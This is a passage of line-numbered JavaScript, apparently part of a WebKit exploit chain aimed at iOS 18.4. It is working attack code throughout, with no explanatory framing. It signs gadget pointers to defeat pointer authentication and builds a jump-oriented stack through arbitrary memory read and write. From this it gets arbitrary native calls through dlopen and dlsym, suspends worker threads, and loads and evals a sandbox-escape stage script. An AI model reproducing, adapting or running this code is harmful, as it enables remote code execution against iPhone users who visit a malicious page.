const signed_pthread_create = await slow_dlsym(libsystem_pthread, 'pthread_create'); 744 offsets.pthread_create = signed_pthread_create.noPAC(); 745 print(`signed_pthread_create: ${signed_pthread_create.hex()}`); 746 const paciza_malloc = await slow_dlsym(libsystem_malloc, 'malloc'); 747 offsets.malloc = paciza_malloc.noPAC(); 748 print(`paciza_malloc: ${paciza_malloc.hex()}`); 749 const gadget_control_1 = offsets.gadget_control_1_ios184; 750 print(`gadget_control_1:${gadget_control_1.hex()}`); 751 const gadget_control_2 = offsets.gadget_control_2_ios184; 752 print(`gadget_control_2:${gadget_control_2.hex()}`); 753 const gadget_control_3 = offsets.gadget_control_3_ios184; 754 print(`gadget_control_3: ${gadget_control_3.hex()}`); 755 const gadget_loop_1 = offsets.gadget_loop_1_ios184; 756 print(`gadget_loop_1: ${gadget_loop_1.hex()}`); 757 const gadget_loop_2 = offsets.gadget_loop_2_ios184; 758 print(`gadget_loop_2: ${gadget_loop_2.hex()}`); 759 const gadget_loop_3 = offsets.gadget_loop_3_ios184; 760 print(`gadget_loop_3: ${gadget_loop_3.hex()}`); 761 const gadget_set_all_registers = offsets.gadget_set_all_registers_ios184; 762 print(`gadget_set_all_registers: ${gadget_set_all_registers.hex()}`); 763 const paciza_gadget_loop_1 = await slow_pacia(gadget_loop_1, 0n); 764 print(`paciza_gadget_loop_1: ${paciza_gadget_loop_1.hex()}`); 765 const paciza_gadget_loop_2 = await slow_pacia(gadget_loop_2, 0n); 766 print(`paciza_gadget_loop_2: ${paciza_gadget_loop_2.hex()}`); 767 const paciza_gadget_loop_3 = await slow_pacia(gadget_loop_3, 0n); 768 print(`paciza_gadget_loop_3: ${paciza_gadget_loop_3.hex()}`); 769 const paciza_gadget_control_2 = await slow_pacia(gadget_control_2, 0n); 770 print(`paciza_gadget_control_2: ${paciza_gadget_control_2.hex()}`); 771 const paciza_gadget_control_3 = await slow_pacia(gadget_control_3, 0n); 772 print(`paciza_gadget_control_3: ${paciza_gadget_control_3.hex()}`); 773 const paciza_gadget_control_3_4 = await slow_pacia(gadget_control_3 + 4n, 0n); 774 print(`paciza_gadget_control_3_4: ${paciza_gadget_control_3_4.hex()}`); 775 const paciza_gadget_set_all_registers = await slow_pacia(gadget_set_all_registers, 0n); 776 print(`paciza_gadget_set_all_registers: ${paciza_gadget_set_all_registers.hex()}`); 777 const jop_thread = new BigUint64Array(0x20 / 8); 778 const jop_thread_data_ptr = jop_thread.data(); 779 const x0_u64 = new BigUint64Array(0x20 / 8); 780 const x0 = x0_u64.data(); 781 x0_u64[8 / 8] = paciza_gadget_loop_3; 782 await slow_fcall_2(signed_pthread_create, jop_thread_data_ptr, 0n, paciza_gadget_loop_3, x0); 783 print('WebContent fcall thread has been spawned!!'); 784 const pthread_node = jop_thread[0]; 785 print(`pthread_node:${pthread_node.hex()}`); 786 const jop_stack_top = p.read64(pthread_node + 0xb8n); 787 print(`jop_stack_top:${jop_stack_top.hex()}`); 788 const jop_stack_bottom = jop_stack_top + 0x88000n; 789 print(`jop_stack_bottom:${jop_stack_bottom.hex()}`); 790 const x19_u64 = new BigUint64Array(0x500 / 8); 791 const x19_f64 = new Float64Array(x19_u64.buffer); 792 const x19 = x19_u64.data(); 793 print(`x19: ${x19.hex()}`); 794 const x22_u64 = new BigUint64Array(0x20 / 8); 795 const x22 = x22_u64.data(); 796 print(`x22: ${x22.hex()}`); 797 const x20_u64 = new BigUint64Array(0x30 / 8); 798 const x20 = x20_u64.data(); 799 print(`x20: ${x20.hex()}`); 800 const stack_u64 = new BigUint64Array(0x88000 / 8); 801 const stack = stack_u64.data(); 802 print(`stack: ${stack.hex()}`); 803 const paciza_gadget_control_1 = await slow_pacia(gadget_control_1, 0n); 804 print(`paciza_gadget_control_1: ${paciza_gadget_control_1.hex()}`); 805 const pacib_gadget_loop_1_0x80020 = await slow_pacib(gadget_loop_1, stack + 0x80020n); 806 print(`pacib_gadget_loop_1_0x80020: ${pacib_gadget_loop_1_0x80020.hex()}`); 807 const pacib_gadget_loop_1_0x800c0 = await slow_pacib(gadget_loop_1, stack + 0x800c0n); 808 print(`pacib_gadget_loop_1_0x800c0: ${pacib_gadget_loop_1_0x800c0.hex()}`); 809 const pacib_gadget_loop_2_0x80010 = await slow_pacib(gadget_loop_2, stack + 0x80010n); 810 print(`pacib_gadget_loop_2_0x80010: ${pacib_gadget_loop_2_0x80010.hex()}`); 811 const pacib_gadget_loop_2_0x800b0 = await slow_pacib(gadget_loop_2, stack + 0x800b0n); 812 print(`pacib_gadget_loop_2_0x800b0: ${pacib_gadget_loop_2_0x800b0.hex()}`); 813 const MAGIC = 123.456; 814 p.write64(jop_stack_bottom - 0x4fa0n, stack + 0x80000n); 815 p.write64(jop_stack_bottom - 0x4f98n, await slow_pacib(gadget_loop_1, jop_stack_top + 0x83070n)); 816 p.write64(jop_stack_bottom - 0x4fb0n, x20); 817 p.write64(jop_stack_bottom - 0x4fa8n, x19); 818 p.write64(jop_stack_bottom - 0x4fc0n, x22); 819 x19_f64[0x20 / 8] = MAGIC; 820 x19_u64[0 / 8] = paciza_gadget_loop_1; 821 x0_u64[8 / 8] = paciza_gadget_control_1; 822 while (x19_f64[0x20 / 8] === MAGIC); 823 stack_u64[0x80008 / 8] = pacib_gadget_loop_2_0x80010; 824 x19_f64[8 / 8] = MAGIC; 825 x20_u64[0x10 / 8] = paciza_gadget_loop_2; 826 x19_u64[0 / 8] = paciza_gadget_control_2; 827 while (x19_f64[8 / 8] == MAGIC); 828 x20_u64[0x20 / 8] = paciza_malloc; 829 x20_u64[0x28 / 8] = 0n; 830 stack_u64[0x80018 / 8] = pacib_gadget_loop_1_0x80020; 831 x19_f64[0x20 / 8] = MAGIC; 832 x19_u64[0 / 8] = paciza_gadget_loop_1; 833 x20_u64[0x10 / 8] = paciza_gadget_control_3; 834 while (x19_f64[0x20 / 8] === MAGIC); 835 stack_u64[0x800a8 / 8] = pacib_gadget_loop_2_0x800b0; 836 x19_f64[8 / 8] = MAGIC; 837 x20_u64[0x10 / 8] = paciza_gadget_loop_2; 838 x19_u64[0 / 8] = paciza_gadget_set_all_registers; 839 while (x19_f64[8 / 8] === MAGIC); 840 stack_u64[0x800b0 / 8] = stack + 0x80000n; 841 stack_u64[0x800b8 / 8] = pacib_gadget_loop_1_0x800c0; 842 x19_f64[0x20 / 8] = MAGIC; 843 x19_u64[0 / 8] = paciza_gadget_loop_1; 844 x20_u64[0x10 / 8] = paciza_gadget_control_3_4; 845 while (x19_f64[0x20 / 8] === MAGIC); 846 const cache = new Map(); 847 const signPointer = paciza_signPointer.noPAC(); 848 cache.set(signPointer, paciza_signPointer); 849 function pacia(ptr, ctx) { 850 signPointer_self[0] = 0x80010000_00000000n | ctx >> 48n << 32n; 851 return fcall(signPointer, signPointer_self_addr, ctx, ptr); 852 } 853 function fcall(pc, ...args) { 854 if (!cache.has(pc)) { 855 cache.set(pc, pacia(pc, 0n)); 856 } 857 const signed_pc = cache.get(pc); 858 stack_u64[0x80008 / 8] = pacib_gadget_loop_2_0x80010; 859 x19_f64[8 / 8] = MAGIC; 860 x20_u64[0x10 / 8] = paciza_gadget_loop_2; 861 performance.now(); 862 x19_u64[0 / 8] = paciza_gadget_control_2; 863 while (x19_f64[8 / 8] === MAGIC); 864 x20_u64[0x20 / 8] = signed_pc; 865 x20_u64[0x28 / 8] = 0n; 866 stack_u64[0x80018 / 8] = pacib_gadget_loop_1_0x80020; 867 x19_f64[0x20 / 8] = MAGIC; 868 x19_u64[0 / 8] = paciza_gadget_loop_1; 869 performance.now(); 870 x20_u64[0x10 / 8] = paciza_gadget_control_3; 871 while (x19_f64[0x20 / 8] === MAGIC); 872 for (let i = 0; i < args.length && i < 8; ++i) { 873 stack_u64[0x80098 / 8 - i] = args[i]; 874 } 875 stack_u64[0x800a8 / 8] = pacib_gadget_loop_2_0x800b0; 876 x19_f64[8 / 8] = MAGIC; 877 x20_u64[0x10 / 8] = paciza_gadget_loop_2; 878 performance.now(); 879 x19_u64[0 / 8] = paciza_gadget_set_all_registers; 880 while (x19_f64[8 / 8] === MAGIC); 881 x19_f64[0x20 / 8] = MAGIC; 882 x19_u64[0 / 8] = paciza_gadget_loop_1; 883 performance.now(); 884 x20_u64[0x10 / 8] = paciza_gadget_control_3_4; 885 while (x19_f64[0x20 / 8] === MAGIC); 886 return x19_u64[0x20 / 8]; 887 } 888 const unsigned_dlopen = paciza_dlopen.noPAC(); 889 const unsigned_dlsym = paciza_dlsym.noPAC(); 890 function dlopen(filename, flags) { 891 filename = filename + '\0'; 892 resolve_rope(filename); 893 const name_ptr = p.read64(p.read64(p.addrof(filename) + 8n) + 8n); 894 return fcall(unsigned_dlopen, name_ptr, flags); 895 } 896 p.dlopen = dlopen; 897 function dlsym(handle, symbol) { 898 symbol = symbol + '\0'; 899 resolve_rope(symbol); 900 const symbol_ptr = p.read64(p.read64(p.addrof(symbol) + 8n) + 8n); 901 return fcall(unsigned_dlsym, handle, symbol_ptr); 902 } 903 p.dlsym = dlsym; 904 const libsystem_c = dlopen('/usr/lib/system/libsystem_c.dylib', 1n); 905 const fopen = dlsym(libsystem_c, 'fopen').noPAC(); 906 const fopen_mode_str = 'w'; 907 const fopen_mode_ptr = p.read64(p.read64(p.addrof(fopen_mode_str) + 8n) + 8n); 908 function log(msg) { 909 if (true) { 910 const elapsed = parseInt(Date.now() - rce_begin); 911 const path = ("/(" + elapsed + ") ").padEnd(15) + msg.toString().replaceAll('/', '|') + '\0'; 912 resolve_rope(path); 913 const path_ptr = p.read64(p.read64(p.addrof(path) + 8n) + 8n); 914 fcall(fopen, path_ptr, fopen_mode_ptr); 915 } 916 } 917 offsets.libsystem_kernel__thread_terminate = p.slide + 0x1D3D6F244n; 918 function suspend_worker(worker) { 919 const port = p.read32(worker.thread + 0x34n); 920 return fcall(offsets.libsystem_kernel__thread_suspend, port); 921 } 922 for (const worker of p.dlopen_workers) { 923 suspend_worker(worker); 924 } 925 function fcall_close() { 926 x19_u64[0 / 8] = pacia(offsets.pthread_exit, 0n); 927 } 928 const rce_end = Date.now(); 929 log(`-`.repeat(0x28)); 930 try { 931 // local version 932 const sbx0_script = getJS('/sbx0_main_18.4.js'); 933 log("after get js"); 934 eval(sbx0_script); 935 } catch (e) { 936 log(btoa(e)); 937 } 938 fcall_close(); 939 print(`all done`); 940 self.postMessage({ 941 type: 'redirect' 942 }); 943 return; 944 } 945 case 'slow_fcall_done': 946 { 947 slow_fcall_resolve(p.slowFcallResult[0]); 948 break; 949 } 950 } 951 }; 952 })();